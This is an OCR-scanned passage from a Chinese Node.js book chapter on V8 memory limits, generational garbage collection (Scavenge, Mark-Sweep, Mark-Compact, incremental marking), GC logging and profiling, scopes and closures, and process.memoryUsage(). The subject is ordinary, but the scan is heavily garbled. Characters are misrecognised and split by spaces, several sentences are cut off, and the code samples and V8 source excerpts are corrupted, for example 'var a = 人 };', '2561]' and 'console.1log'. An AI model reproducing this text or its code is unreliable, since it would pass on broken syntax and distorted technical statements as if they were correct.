人 老生 代 的 内 存 空间 


图 5-2 V8 的 分 代 示 意图 


V8 玲 的 整体 大 小 践 是 新 生 代 所 用 内 存 空 3 间 加 上 老生 代 的 内 存 空 
间 。 前 面 我 们 提 及 的 - -max-old-space-sizeHh 命令 行 参数 可 以 用 于 设置 
老生 代 内 存 空 x 间 的 最 大 值 ， -max-new-space-size HP 命令 行 参数 则 用 于 
设置 新 生 代 内 存 空 间 的 大 小 的 。 比较 遗憾 的 是 ， 这 两 个 最 大 值 
需要 在 启动 时 就 指定 。 这 意味 着 V8 使 用 的 内 存 没有 办 法 根据 使 
、 充 ， 当 内 存 分 配 过 程 中 超过 极限 值 时 ， 就 会 引起 
前 面 提 到 过 ， 在 默认 设置 下 ， 如 果 一 直 分 配 内 存 ， 
和 32 位 系统 下 会 分 别 只 能 使 用 约 1.4 GB 和 约 0.7 GB 的 大 小 。 这 
限制 可 以 从 V8 的 沽 码 中 找到 。 在 下 面 的 代码 中 ，page: 0 
值 为 IMB。 可 以 看 到 ， 老 生 代 的 设置 在 64 位 系统 下 为 1400 MB， 
在 32 位 系统 下 为 700 MB: 


// semispace_size_ should be a power of 2 and old_generation_size_ should be 

// a multiple of Page::kPageSize 

#if defined(V8_TARGET_ARCH_X64) 

#define LUMP_OF_MEMORY (2 * MB) 
code_range_size (512*MB), 

#else 

#define LUMP_OF_MEMORY MB 
code_range_size_(0), 

#endif 

#if defined(ANDROID) 
reserved_ semispace_ size (4 * Max(LUMP_OF_MEMORY, Page: :kPageSize)), 
max_semispace_size (4 * Max(LUMP_OF_MEMORY, Page: :kPageSize)), 
initial semispace_size_(Page: :kPageSize)， 
max_old_generation_size_(192*MB), 
max_executable_size_ (max_old_generation_size_ ), 

#else 
reserved_ semispace_ size (8 * Max(LUMP_OF_MEMORY, Page: :kPageSize)), 
max_semispace_size (8 * Max(LUMP_OF_MEMORY, Page: :kPageSize)), 
initial semispace_size_(Page: :kPageSize), 
max_old_generation_size (700ul * LUMP_OF_MEMORY), 
max_executable_size (2561] * LUMP_OF_MEMORY), 

#endif 


对 于 新 生 代 内 存 E 由 两 个 geservednsenispacessi2e 有 用 惟 ] 户 了 后 面 将 
指 述 其 原因 2 按 机 器 位 数 不 同 ， Feervedesenispacesszee 企 64 位 系统 
和 32 位 系统 上 分 别 为 16 MB 和 8 MB。 所 以 新 生 代 内 存 的 最 大 值 
在 64 位 系统 和 32 位 系统 上 分 别 为 32 MB 和 16 MB 。 

V8 堆 内 存 的 最 大 保留 空间 可 以 从 下 面 的 代码 中 看 出 来 ， 其 公式 


为 4 * reserved_semispace_ size_ + max_o0l]d generation size_ : 


// Returns the maximum amount of memory reserved for the heap. For 
// the young generation, we reserve 4 times the amount needed for a 
// semi space. The young generation consists of two semi spaces and 
// we reserve twice the amount needed for those in order to ensure 
// that new Space can be aligned to its size 
intptr_t MaxReserved() { 

return 4 * reserved_ semispace size + max_old generation_size ; 


} 


因此 ， 默 认 情况 下 ，V8 堆 内 存 的 最 大 值 在 64 位 系统 上 为 1464 
MB，32 位 系统 上 则 为 732 MB。 这 个 数值 可 以 解释 为 何在 64 位 系 
8 0 
子 O 

Scavenge 算 法 

在 分 代 的 基础 上 ， 新 生 代 中 的 对 象 主要 通过 Scavenge 算 法 进行 垃 
圾 回收 。 在 Scavenge 的 具体 实现 中 ， 主 要 采用 了 Cheney 算 法 ， 该 
算法 由 C.J. Cheney 于 1970 年 首次 发 表 在 ACM 论 文 上 。 

Cheney 算 法 是 一 种 采用 复制 的 方式 实现 的 垃圾 回收 算法 。 它 将 
堆 内 存 一 分 为 二 ， 每 一 部 分 空间 称 为 smispace。 在 这 两 个 
semispace 空 间 中 ， 只 有 一 个 处 于 使 用 中 ， 另 一 个 处 于 闲置 状 
态 。 处 于 使 用 状态 的 semispace 空 间 称 为 From 空 间 ， 处 于 闲置 状 
态 的 空间 称 为 To 空间 。 当 我 们 分 配对 象 时 ， 先 是 在 From 空 间 中 
进行 分 配 。 当 开始 进行 垃圾 回收 时 ， 会 检查 From 空 间 中 的 存活 


] 


对 象 ， 这 些 存活 对 象 将 被 复制 到 To 空间 中 ， 而 非 存活 对 象 
的 空间 将 会 被 释放 。 完 成 复制 后 ，From 空 间 和 To 空间 的 角色 发 
生 对 换 。 人 简 而 言 之 ， 在 垃圾 回收 的 过 程 中 ， 就 是 通过 将 存活 对 
象 在 两 个 semispace 空 间 之 间 进 行 复制 。 
Scavenge 的 缺点 是 只 能 使 用 堆 内 存 中 的 一 半 ， 这 是 由 划分 空间 和 
复制 机 制 所 决定 的 。 但 Scavenge 由 于 只 复制 存活 的 对 象 ， 并 且 对 
于 生命 周期 短 的 场景 存活 对 象 只 占 少 部 分 ， 所 以 它 在 时 间 效 率 
上 有 优异 的 表现 。 
由 于 Scavenge 是 典型 的 牺牲 空间 换取 时 间 的 算法 ， 所 以 无 法 大 规 
模 地 应 用 到 所 有 的 垃圾 回收 中 。 但 可 以 发 现 ，Scavenge 非 常 适合 
应 用 在 新 生 代 中 ， 因 为 新 生 代 中 对 象 的 生命 周期 较 短 ， 恰 恰 适 
合 这 个 算法 。 
是 故 ，V8 的 堆 内 存 示意 图 应 当 如 图 5-3 所 示 。 

新 生 代 内 存 空间 老生 代 内 存 空间 


seml sem!l 
space space 
(From) (To) 


图 5-3 ”V8 的 堆 内 存 示 意图 

实际 使 用 的 堆 内 存 是 新 生 代 中 的 两 个 semispace 空 间 大 小 和 老生 
代 所 用 内 存 大 小 之 和 。 

当 一 个 对 象 经 过 多 次 复制 依然 存活 时 ， 它 将 会 被 认为 是 生命 周 
期 较 长 的 对 象 。 这 种 较 长 生命 周期 的 对 象 随后 会 被 移动 到 老生 
代 中 ， 采 用 新 的 算法 进行 管理 。 对 象 从 新 生 代 中 移动 到 老生 代 
中 的 过 程 称 为 晋升 。 

在 单纯 的 Scavenge 过 程 中 ，From 空 间 中 的 存活 对 象 会 被 复制 到 
To 空间 中 去 ， 然 后 对 From 空 间 和 To 空间 进行 角色 对 换 〈 又 称 翻 
转 ) 。 但 在 分 代 式 垃圾 回收 的 前 提 下 ，From 空 间 中 的 存活 对 象 
在 复制 到 To 空间 之 前 需要 进行 检查 。 在 一 定 条 件 下 ， 需 要 将 存 
活 周 期 长 的 对 象 移动 到 老生 代 中 ， 也 就 是 完成 对 象 晋 升 。 

对 象 晋 升 的 条 件 主 要 有 两 个 ， 一 个 是 对 象 是 否 经 历 过 Scavenge 回 
收 ， 一 个 是 To 空间 的 内 存 占用 比 超过 限制 。 

在 默认 情况 下 ，V8 的 对 象 分 配 主要 集中 在 From 空 间 中 。 对 象 从 
From 空 间 中 复制 到 To 空间 时 ， 会 检查 它 的 内 存 地 址 来 判断 这 个 
对 象 是 否 已 经 经 历 过 一 次 Scavenge 回 收 。 如 果 已 经 经 历 过 了 ,会 
将 该 对 象 从 From 空 间 复制 到 老生 代 空 间 中 ， 如 果 没 有 ， 则 复制 
到 To 空间 中 。 这 个 晋升 流程 如 图 5-4 所 示 。 


Li 
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图 5-4 ”晋升 流程 


男 一 个 判断 条 件 是 To 空 zs 间 的 内 存 占用 比 。 当 要 从 From 空 i 
一 个 对 象 到 To 空间 时 ， 如 果 To 空 间 已 经 使 用 了 超过 25%， 则 这 
RR 空间 中 ， 这 不 晋升 的 判断 示 章 图 如 图 5-5 

Re 


Seml Space 
(From) 


To 空间 已 经 
使 用 了 25%3 


- Seml space 


老生 代 空 间 
图 5-5 ”晋升 的 判断 示意 图 


设置 25% 这 个 限制 值 的 原因 是 当 这 次 Scavenge 回 收 完 成 后 ， 这 个 
To 空间 将 变 成 Fr om 空间 ， 接 下 来 的 内 存 分配 将 在 这 个 空间 中 进 
行 。 如 果 占 比 过 高 ， 会 影响 后 续 的 内 存 分 配 。 

对 象 晋 升 后 ， 将 会 在 老生 代 空 间 中 作为 存活 周期 较 长 的 对 象 来 
对 待 ， 接 受 新 的 回收 算法 处 理 。 

Mark-Sweep & Mark-Compact 


对 于 老生 代 中 的 对 象 ， 由 于 存活 对 象 占 较 大 比重 ， 再 采用 
Scavenge 的 方式 会 有 两 个 问题 : 一 个 是 存活 对 象 较 多 ， 复 制 存 活 
对 象 的 效率 将 会 很 低 ， 男 一 个 问题 依然 是 浪费 一 半空 间 的 问 
题 。 这 两 个 问题 导致 应 对 生命 周期 较 长 的 对 象 时 Scavenge 会 显得 
捉襟见肘 。 为 此 ，V8 在 老生 代 中 主要 采用 了 Mark-Sweep 和 Mark- 
Compact 相 结合 的 方式 进行 垃圾 回收 。 

Mark-Sweep 是 标记 清除 的 意思 ， 它 分 为 标记 和 清除 两 个 阶段 。 
与 Scavenge 相 比 ，Mark-Sweep 并 不 将 内 存 空间 划分 为 两 半 ， 所 
以 不 存在 浪费 一 半空 间 的 行为 。 与 Scavenge 复 制 活着 的 对 象 不 
同 ，Mark-Sweep 在 标记 阶段 遍历 堆 中 的 所 有 对 象 ， 并 标记 活着 
的 对 象 ， 在 随后 的 清除 阶段 中 ， 只 清除 没有 被 标记 的 对 象 。 可 
以 看 出 ，Scavenge 中 只 复制 活着 的 对 象 ， 而 Mark-Sweep 只 清理 
死亡 对 象 。 活 对 象 在 新 生 代 中 只 占 较 小 部 分 ， 死 对 象 在 老生 代 


中 只 占 较 小 部 分 ， 这 是 两 种 回收 方式 能 高 效 处 理 的 原因 。 图 5-6 
为 Mark- Sweep 在 老生 代 空间 中 标记 后 的 示意 图 ， 黑 色 部 分 标记 
为 死亡 的 对 象 。 


老生 代 空 间 


图 5-6 Mark-Sweep 在 老生 代 空 间 中 标记 后 的 示意 图 


Mark-Sweep 最 大 的 问题 是 在 进行 一 次 标记 清除 回收 后 ， 内 存 空 
间 会 出 现 不 连续 的 状态 。 这 种 内 存 雄 片 会 对 后 续 的 内 存 分 配 造 
成 问题 ， 因 为 很 可 能 出 现 需 要 分 配 一 个 大 对 象 的 情况 ， 这 时 所 
的 碎片 空间 都 无 法 完成 此 次 分 配 ， 束 会 提前 触发 垃圾 回收 ， 
而 这 次 回收 是 不 必要 的 。 
为 了 解决 Mark-Sweep 的 内 存 雁 片 门 题 Mark-Compact 被 提出 
来 。 Mark-Compact 是 标记 整理 的 意思 ， 是 在 Mark-Sweep 的 基础 
上 演变 而 来 的 。 它们 的 差别 在 于 对 象 在 标记 为 死亡 后 ， 在 整理 
的 过 程 中 ， 将 活着 的 对 象 往 一 端 移动 ， 移 动 完 成 后 ， 直 接 清 理 
掉 边 界外 的 内 存 。 图 5-7 为 Mark-Compact 完 成 标记 并 移动 存活 对 
象 后 的 示意 图 ,日 色 格 子 为 存活 对 象 ， 深 色 格 子 为 死亡 对 象 ， 
浅 色 格子 为 存活 对 象 移动 后 留 下 的 空洞 。 

整理 内 存 空间 (有 死亡 对 象 ) 


a 


图 5-7 Mark-Compact 完 成 标记 并 移动 存活 对 象 后 的 示意 图 
完成 移动 后 ， 就 可 以 直接 清除 最 右边 的 存活 对 象 后 面 的 内 存 区 
域 完成 回收 。 

这 里 将 Mark-Sweep 和 Mark-Compact 结 合 着 介绍 不 仅仅 是 因为 两 
种 策略 是 递 进 关系 ， 在 V8 的 回收 策略 中 两 者 是 结合 使 用 的 。 表 


5-1 是 目前 介绍 到 的 3 种 主要 垃圾 回收 算法 的 简单 对 比 。 
表 5-1 3 种 垃圾 回收 算法 的 简单 对 比 


回收 算法 Mark-Sweep Mark- Scavenge 


Compact 
速度 中 等 最 慢 最 快 
空间 开销 少 〈《 有 碎 少 〈 无 碎片 ) ” 双 倍 空间 (无 碎 
片 ) 片 ) 
是 否 移动 对 否 征 年 


从 表 5-1 中 可 以 看 到 ， 在 Mark-Sweep 和 Mark-Compact 之 间 ， 由 于 
Mark-Compact 需 要 移动 对 象 ， 所 以 它 的 执行 速度 不 可 能 很 快 ， 
所 以 在 取舍 上 ，V8 主 要 使 用 Mark-Sweep， 在 空间 不 足以 对 从 新 
生 代 中 晋升 过 来 的 对 象 进行 分 配 时 才 使 用 Mark-Compact 。 
Incremental Marking 


为 了 避免 出 现 JavaScript 应 用 逻辑 与 垃圾 回收 器 看 到 的 不 一 致 的 
青 况 ， 垃 圾 回收 的 3 种 基本 算法 都 需要 将 应 用 人 逻辑 暂停 下 来 ， 待 
执行 完 垃圾 回收 后 再 恢复 执行 应 用 逻辑 ， 这 种 行为 被 称 为 “全 停 
顿 ” (stop-the-world) 。 在 V8 的 分 代 式 垃圾 回收 中 ， 一 次 小 垃圾 
回收 只 收集 新 生 代 ， 由 于 新 生 代 默认 配置 得 较 小 ， 且 其 中 存活 
对 象 通常 较 少 ， 所 以 即便 它 是 全 停顿 的 影响 也 不 大 。 但 V8 的 老 
生 代 通常 配置 得 较 大 ， 且 存活 对 象 较 多 ， 全 堆 垃 圾 回收 (full 垃 
圾 回收 ) 的 标记 、 清 理 、 整 理 等 动作 造成 的 停顿 就 会 比较 可 
怕 ， 需 要 设法 改善 。 

为 了 降低 全 堆 垃圾 回收 带 来 的 停顿 时 间 ，V8 先 从 标记 阶段 入 
手 ， 将 原本 要 一 口气 停顿 完成 的 动作 改 为 增 量 标 记 (incremental 
marking) ， 也 就 是 拆 分 为 许多 小 “ 步 进 "， 每 做 完 一 “ 步 进 ”就 让 
JavaScript 应 用 逻辑 执行 一 小 会 儿 ， 垃 圾 回收 与 应 用 逻辑 交替 执 
行 直到 标记 阶段 完成 。 图 5-8 为 增 量 标记 示意 图 。 
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JavaScript : 一 一 ~， 
垃圾 回收 和 rw 清理 /整理 
增 量 标记 


图 5-8 ” 增 量 标记 示意 图 

V8 在 经 过 增 量 标记 的 改进 后 ， 垃 圾 回收 的 最 大 停顿 时 间 可 以 减 

少 到 原本 的 /6 左右 。 

V8 后 续 还 引入 了 延迟 清理 (lazy sweeping) 与 增 量 式 整 理 
(incremental compaction) ， 让 清理 与 整理 动作 也 变 成 增 量 式 

的 。 同 时 还 计划 引入 并 行 标记 与 并 行 清理 ， 进 一 步 利 用 多 核 性 


每 次 停顿 的 时 间 。 鉴 于 篇 幅 有 限 ， 此 处 不 再 深入 讲解 


2. 小结 

从 V8 的 自动 垃圾 回收 机 制 的 设计 角度 可 以 看 到 ，V8 对 内 存 使 用 进行 
限制 的 缘由 。 新 生 代 设计 为 一 个 较 小 的 内 存 空间 是 合理 的 ， 而 老生 
代 空 间 过 大 对 于 垃圾 回收 并 无 特别 意义 。V8 对 内 存 限制 的 设置 对 于 
Chrome 浏 贤 器 这 种 每 个 选项 卡 页 面 使 用 一 个 V8 实例 而 言 ， 内 存 的 使 
用 是 绰绰有余 了 “。 对 于 Node 编 写 的 服务 器 端 来 说 ， 内 存 限 制 也 并 不 
影响 正常 场景 下 的 使 用 。 但 是 对 于 V8 的 垃圾 回收 特点 和 JavaScript 在 
单线 程 上 的 执行 情况 ， 垃 圾 回收 是 影响 性 能 的 因素 之 一 。 想 要 高 性 
.ns 需要 注意 让 垃圾 回收 尽量 少 地 进行 ， 尤 其 是 全 堆 垃 
以 Web 服 务 器 中 的 会 话 实 现 为 例 ， 一 般 通 过 内 存 来 存储 ， 但 在 访问 量 
大 的 时 候 会 导致 老生 代 中 的 存活 对 象 骤 增 ， 不 仅 造 成 清理 /整理 过 程 
费时 ， 还 会 造成 内 存 紧 张 ， 甚 至 溢出 (详情 可 参见 第 8 章 ) 。 


5.1.5 ”查看 垃圾 回收 日 志 

查看 垃圾 回收 日 志 的 方式 主要 是 在 局 动 时 添加 . ee _gc 叙 参数 。 在 进 了 垃圾 回收 
时 ， 将 会 从 标准 输出 中 打印 垃圾 回收 的 日 志 信息 。 下 面 是 一 段 示例 ， 执 行 结 
束 后 ， 将 会 在 gclog 文 件 中 得 到 所 有 垃圾 回收 信息 息 : 


node --trace_gc 
e "var a = [];for (var i = 0; i < 1000000; i++) a.push(new Array(100));" > gc.log 


下 面 是 我 截取 的 垃圾 回收 日 志 中 的 部 分 重要 内 容 : 


[2489] 19 ms: Scavenge 1.9 (34.0) -> 1.8 (35.0) MB, 1 ms [Runtime::PerformGC]. 


[2489] 36 ms : Mark-sweep 9.1 (40.0) 
> 9.0 (44.0) MB, 10 ms [Runtime::PerformGC] [promotion limit reached]. 


[2489] Limited new space size due to high promotion rate: 1 MB 

[2489] Increasing marking speed to 3 due to high promotion rate 

[2489] 107 ms: Mark-sweep 38 .4 (73.0) 

> 38.0 (74.0) MB, 3 ms (+ 23 ms in 63 steps since start of marking, biggest step 0.28418 


9 ms) [Runtime::PerformGC] [promotion limit reached]. 


[2489] 188 ms : Mark-sweep 63.8 (100.0) 
> 63.4 (100.0) MB, 45 ms [Runtime::PerformGC] [GC in old space requested]. 


[2489] 395 ms: Scavenge 182.9 (220.3) 
> 182.9 (221.3) MB, 1 ms (+ 2 ms in 7 steps since last GC) [Runtime::PerformGC] [increme 
ntal marking delaying mark-sweep]. 


通过 分 析 垃 圾 回收 日 志 ， 可 以 了 解 垃圾 回收 的 运行 状况 ， 找 出 垃圾 回收 的 哪 
些 阶段 比较 耗 时 ， 触 发 的 原因 是 什么 。 


通过 在 Node 局 动 时 使 用 --pror 参 数 ， 可 以 得 到 V8 执行 时 的 性 能 分 析 数 据 ， 其 中 
包含 了 垃圾 回收 执行 时 占用 的 时 间 。 下 面 的 代码 不 断 创建 对 象 并 将 其 分 配给 
局 部 变量 s。， 这 里 将 以 下 代码 存 为 test01.js 文 件 : 


for (var i = 0; i < 1000000; i++) { 
var a = 人 }; 


} 


然后 执行 以 下 命 


$ node --prof test01.js 


这 将 会 在 目录 下 得 到 一 个 v8.log 日 志文 件 。 该 日 志文 件 基 本 不 具备 可 读 性 ， 内 
容 大 致 如 下 : 


code- 

creation,LazyCompile, Ox1idd61958ec00, 396," /Users/jacksontian/git/diveintonode/examples/0 
5/test01.js:1",0Ox38c53b008370,~ 

tick,Ox10031daaa, 0x7fff5fbfe4co0, 90,0x34bb,2,0x1dd61958eb3e, 0x1dd6195688bf, Ox1dd6195689e5, 

9x1dd619567599, 9x1dd619566efc, 0x1dd619568e4b,0x1dd61952e78a 

code- 

creation,LazyCompile, Ox1idd61958eda0,532," /Users/jacksontian/git/diveintonode/examples/0 
5/test01.js:1",0Ox38c53b008370,* 

tick,Ox1idd61958eecd, Ox7fff5fbff3b8,0,0x16e3f,0,0x1dd6195688bf, 0x1dd6195689e5, Ox1dd619567 

599, 0x1dd619566efc, Ox1dd619568e4b, 9x1dd61952e78a 

tick, Ox1idd61958ee55, Ox7fff5fbff3b8,0,0x5082a,0,0x1dd6195688bf, 9x1dd6195689e5,9x1dd619567 

599, 0x1dd619566efc, 0x1dd619568e4b,0x1dd61952e78a 

tick, Ox1idd61958ee77, Ox7fff5fbff3b8,0,0x8c593,0,0x1dd6195688bf, 9x1dd6195689e5,9x1dd619567 

599, 0x1dd619566efc, Ox1dd619568e4b, 9x1dd61952e78a 

tick, Ox1idd61958ee71, Ox7fff5fbff3b8,0,0xc8717,0,0x1dd6195688bf, Ox1dd6195689e5, 9x1dd619567 

599, 0x1dd619566efc, 0x1dd619568e4b, 9x1dd61952e78a 

code-creation,StoreIcC, Ox1idd61958efc0,185, "loaded" 


所 辛 ，V8 提 供 了 linux-tick-processor 工 具 用 于 统计 日 志 人 信息。 该 工具 可 以 从 
Node 源 码 的 deps/v8/tools 日 录 下 找到 ，Windows 下 的 对 应 命令 文件 为 windows- 
tick-processor.bat。 将 该 目录 添加 a 到 环境 变量 paru 中 ， 即 可 直接 调用 : 


$ linux-tick-processor v8.10g 


下 面 为 我 某 次 运行 日 志 的 统计 结果 : 


Statistical profiling result from v8.10g, (37 ticks, 1 unaccounted, 0 excluded). 


[Unknown]: 
ticks total nonlib name 
于 2.7% 


[Shared libraries]: 
ticks total nonlib name 
28 75::7% 0.0% /usr/local/bin/node 
2 5.4% 0.0% /usr/lib/system/libsystem kernel.dylib 
2 5.4% 0.0% /usr/lib/system/libsystem c.dylib 


[Javascript]: 
ticks total nonlib name 
3 8 .1% 60.0% LazyCompile: ” 
<anonymous> /Users/jacksontian/git/diveintonode/examples/05/test01.js:1 
1 2.7% 20.0% Stub: FastCloneShallowObjectStub 
1 2.7% 20.0% Function: ~NativeModule.compile node.js:613 


[C++]: 
ticks total nonlib name 


[GC] : 
ticks total nonlib name 
2 5.4% 


[Bottom up (heavy) profile]: 

Note: percentage shows a share of a particular caller in the total 
amount of its parent calls. 

Callers occupying less than 2.0% are not shown. 


ticks parent name 
28 75.7% /usr/local/bin/node 


统计 内 容 较 多 ， 其 中 垃圾 回收 部 分 如 下 : 


[GC] : 
ticks total nonlib name 
2 5 .49% 


由 于 不 断 分 配对 象 ， 垃 圾 回收 所 占 的 时 间 为 5.4%。 按 此 比例 ， 
循环 执行 1000 毫 秒 的 过 程 中 要 给 出 54 上 毫 秒 的 时 间 用 于 垃圾 回收 。 


这 意味 着 事件 


5.2 ”高 效 使 用 内 存 
A 


5.2.1 作用 域 

提 到 如 何 触 发 垃圾 回收 ， 第 一 个 要 介绍 的 是 作用 域 (scope) 。 在 
JavaScript 中 能 形成 作用 域 的 有 函数 调用 、witn 以 及 全 局 作用 域 。 

以 如 下 代码 为 例 : 


var foo = function () { 
Var local = {}; 


}; 


foo() 图 数 在 每 次 袖 调 用 时 会 创建 对 应 的 作用 域 ， 函 数 执行 结束 后 ， 该 作用 
域 将 会 销毁 。 同 时 作用 域 中 声明 的 局 部 变量 分 配 在 该 作用 域 上 ， 随 作用 
域 的 销毁 而 销 贤 。 只 被 局 部 变量 引用 的 对 象 存活 周期 较 短 。 在 这 个 示例 
中 ， 由 于 对 象 非常 小 ， 将 会 分 配 在 新 生 代 中 的 From 空 间 中 。 在 作用 域 释 
放 后 ， 局 部 变量 1ocal 失 效 ， 其 引用 的 对 象 将 会 在 下 次 垃圾 回收 时 被 释放 。 
以 上 就 是 最 基本 的 内 存 回 收 过程 。 


1. 标识 符 查找 
与 作用 域 相关 的 即 是 标识 符 查找 。 所 谓 标 识 符 ， 可 以 理解 为 变 
量 名 。 在 下 面 的 代码 中 ， 执 行 bar() 函 数 时 ， 将 会 遇 到 1ocal 变 量 : 


var bar = function () { 
console.1log(local); 


}; 


JavaScript 在 执行 时 会 去 查找 该 变量 定义 在 哪里 。 它 最 先 查 找 的 
征 当 前 作用 域 ， 如 采 在 当前 作用 域 中 无 法 找到 该 变量 的 声明 ， 
将 会 癌 上 级 的 作用 域 里 查找 ， 直 到 查 到 为 止 。 

2. ”作用 域 链 
在 下 面 的 代码 中 : 


var foo = function () { 
var local = 'l]ocal var ' 
var bar = function () { 
var local = 'another Var ' ， 
var baz = function () { 
console.1log(local); 


}; 
baz(); 
bar(); 


foo(); 


local 变 量 在 baz() 芳 数 形成 的 作用 域 里 查找 不 到 ， 继 而 将 在 bar0) 的 
作用 域 里 寻找 。 如 有 果 去 掉 上 述 代 码 bar0 中 的 iocaz 声 明 ， 将 会 继续 
癌 上 查找 ， 一 直到 全 局 作用 域 。 这 样 的 查找 方式 使 得 作用 域 像 
一 个 链条 。 由 于 标识 符 的 查找 方向 是 向 上 的 ， 所 以 变量 只 能 向 
a 而 不 能 加 内 访问 。 图 5-9 为 变量 在 作用 域 中 的 查找 示意 
o 


baz() potty 


无 
local: 'another var' 


foo() 


local:'local var' 


global 


图 5-9 ”变量 在 作用 域 中 的 查找 示意 图 


当 我 们 在 baz0) 函 数 中 访问 local 变 量 时 ， 由 于 作用 域 中 的 变量 列表 
中 没有 1locat， 所 以 会 向 上 一 个 作用 域 中 查找 ， 接 着 会 在 bar() 芳 数 
执行 得 到 的 变量 列表 中 找到 了 一 个 locas 变 量 的 定义 ， 于 是 使 用 
它 。 尽 管 在 再 上 一 层 的 作用 域 中 也 存在 locai 的 定义 ， 但 是 不 会 继 
续 查 找 了 。 如 有 果 查 找 一 个 不 存在 的 变量 ， 将 会 一 直 沿 着 作用 域 
链 查 找到 全 局 作用 域 ， 最 后 抛 出 未 定义 错误 。 

了 解 了 作用 域 ， 有 助 于 我 们 了 解 变 量 的 分 配 和 释放 。 
变量 的 主动 释放 

如 果 变 量 是 全 局 变量 (不 通过 var 声 明 或 定义 在 oloval 变 量 上 ) ， 
由 于 全 局 作用 域 需要 直到 进程 退出 才能 释放 ， 此 时 将 导致 引用 
的 对 象 癌 驻 内 存 〈 常 驻 在 老生 代 中 ) 。 如 果 需 要 释放 常 驻 内 存 
的 对 象 ， 可 以 通过 oelete 操 作 来 删除 引用 关系 。 或 者 将 变量 重新 
赋值 ， 让 旧 的 对 象 脱 离 引 用 关系 。 在 接 下 来 的 老生 代 内 存 清 除 
和 整理 的 过 程 中 ， 会 被 回收 释放 。 下 面 为 示例 代码 : 


global.foo = "I am global object ， 
console.log(global.foo); // => "I am global object" 
delete global.foo; 

// 或 者 重新 赋值 

global.foo = undefined; // or null 
console.log(global.foo); // => undefined 


同样 ， 如 采 在 非 全 局 作用 域 中 ， 想 主动 释放 变量 引用 的 对 象 ， 
也 可 以 通过 这 样 的 方式 。 虽 然 selete 操 作 和 重新 赋值 具有 相同 的 
效果 ， 但 是 在 V8 中 通过 gelete 删 除 对 象 的 属性 有 可 能 干扰 V8 的 优 
化 ， 所 以 通过 赋值 方式 解除 引用 更 好 。 


5.2.2 ” 闭 包 
我 们 知道 作用 域 链 上 的 对 象 访问 只 能 向 上 ， 这 样 外 部 无 法 向 内 部 访问 。 
如 下 代码 可 以 正常 打印 : 
var foo = function () { 
var local = "局 部 变量 "; 
(function () { 
console .lo0g(local); 


}()) 
}; 


但 在 下 面 的 代码 中 ， 却 会 得 到 1local 未 定义 的 异常 


var foo = function () { 
(function () { 
var local = "局 部 变量 "， 


}()); 
console.1log(local); 


}; 


在 JavaScript 中 ， 实 现 外 部 作用 域 访 问 内 部 作用 域 中 变量 的 方法 叫做 闭 包 
(closure) 。 这 得 葵 于 高 阶 函 数 的 特性 ， 函数 可 以 作为 参数 或 者 返回 值 。 
示例 代码 的 如 下 : 


var foo = function () { 
var bar = function () { 
var local = "局 部 变量 " ; 
return function () { 
return local; 


}; 


var baz = bar(); 
console.1log(baz()); 
}; 


一 般 而 言 ， 在 bar0 画 数 执 和 本 完成 后 ， 局 部 变量 locaa 将 会 随 着 作用 域 的 销毁 
而 被 回收 。 但 是 注意 这 里 的 特点 在 于 返回 值 是 一 个 匿名 函数 ， 且 这 个 函 
数 中 具备 了 访问 locai 的 和 条件。 虽然 在 后 乡 、 了 中 ， 在 外 部 作用 域 中 还 是 
pn 但 是 车 要 访问 它 ， 只 过 这 个 中 间 函 数 稍 作 周 转 即 


闭 包 是 JavaScript 的 高 级 特性 ， 利 用 它 可 以 产生 很 多 巧妙 的 效果 。 它 的 问 
题 在 于 ， 一 旦 有 变量 引用 这 个 中 间 函 数 ， 这 个 中 间 男 数 将 不 会 释放 ， 同 
时 也 会 使 原始 的 作用 域 不 会 得 到 释放 ， 作 用 域 中 产生 的 内 存 占用 也 不 会 
得 到 释放 。 除 非 不 再 有 3 引用 ， 才 会 逐步 释放 。 

5.2.3 “人 小结 

在 正常 的 JavaScript 执 行 中 ， 无 法 立即 回收 的 内 存 有 闭 包 和 全 局 变量 引用 
这 两 种 情况 。 由 于 V8 的 内 存 限制 ， 要 十 分 小 心 此 类 变量 是 否 无 限制 地 增 
加 ， 因 为 它 会 导致 老生 代 中 的 对 象 增多 。 


5.3 ”内 存 指标 

一 般 而 言 ， 应 用 中 存在 一 些 全 局 性 的 对 象 是 正常 的 ， 而 且 在 正常 的 使 
用 中 ， 变 量 都 会 自动 释放 回收 。 但 是 也 会 存在 一 些 我 们 认为 会 回收 但 
是 却 没 有 被 回收 的 对 象 ， 这 会 导致 内 存 占用 无 限 增长 。 一 旦 增长 达到 
V8 的 内 存 限制 ， 将 会 得 到 内 存 洲 出 错误 ， 进 而 导致 进程 退出 。 


5.3.1 查看 内 存 使 用 情况 
前 面 我 们 提 到 了 process.memoryusage() 可 以 查看 内 存 使 用 情况 。 除 此 之 
外 ， os 模块 中 的 totalmem() 和 freemem() 方 法 也 可 以 查看 内 存 使 用 情况 


1. ”查看 进程 的 内 存 占用 


调用 process.memoryUsage()H 可 以 看 到 Node 进 井 程 的 内 存 占用 人 元 
示例 代码 如 下 : 


$ node 

> process ,memoryUsage() 

{ rss: 13852672, 
heapTotal: 6131200, 
heapUsed: 2757120 } 


rss 是 resident set SizeH 笨 写 ， 即 进程 的 香 进程 的 
内 存 总 共有 几 部 分 ， 一 部 分 是 rss， 其 余部 分 在 交换 区 
(swap) 或 者 文件 系统 (filesystem) His ° 


除 了 了 rss 外 ， ee 和 heapUsed 对 仿 Sy 的 是 V8 的 堆 内 在 言 局、 > 
heapTotal 是 堆 中 总 共 申 请 的 内 存量 ，heapused 表 示 目 前 堆 中 使 用 
中 的 内 存量 。 这 3 个 值 的 单位 都 是 字 廊 。 


为 了 更 好 地 查看 效果 ， 我 们 格式 化 一 下 输出 结果 : 


Var ShowMem = function () { 
var mem = process.memoryUsage(); 
var format = function (bytes) { 
return (bytes / 1024 / 1024).toFixed(2) + ' MB'; 


了 
console.log('Process: heapTotal ' + format(mem,heapTotal) + 
' heapUsed ' + format(mem.heapUsed) + ' rss ' + format(mem.rss)); 
console.10g( 1----------- 


-'); 


}; 
同时 ， 写 一 个 方法 用 于 不 停 地 分 配 内 存 但 不 释放 内 存 ， 相 关 
代码 如 下 : 


var useMem = function () { 
Var size = 20 * 1024 * 1024; 
var arr = new Array(size); 
for (var i = 0; i < size; i++) { 


arr[i] = 90; 


return arr; 

}; 

var total = []; 

for (var j = 0; j < 15; j++) { 
ShowMem( ) ， 


total.push(useMem( ) ) ， 


ShowMem( ) ， 


以 上 代码 存 为 outofmemory.js 并 执行 它 ， 得 到 的 输出 结果 如 


$ node outofmemory ,js 
Process: heapTotal 3.86 MB heapUsed 2.10 MB rss 11.16 MB 


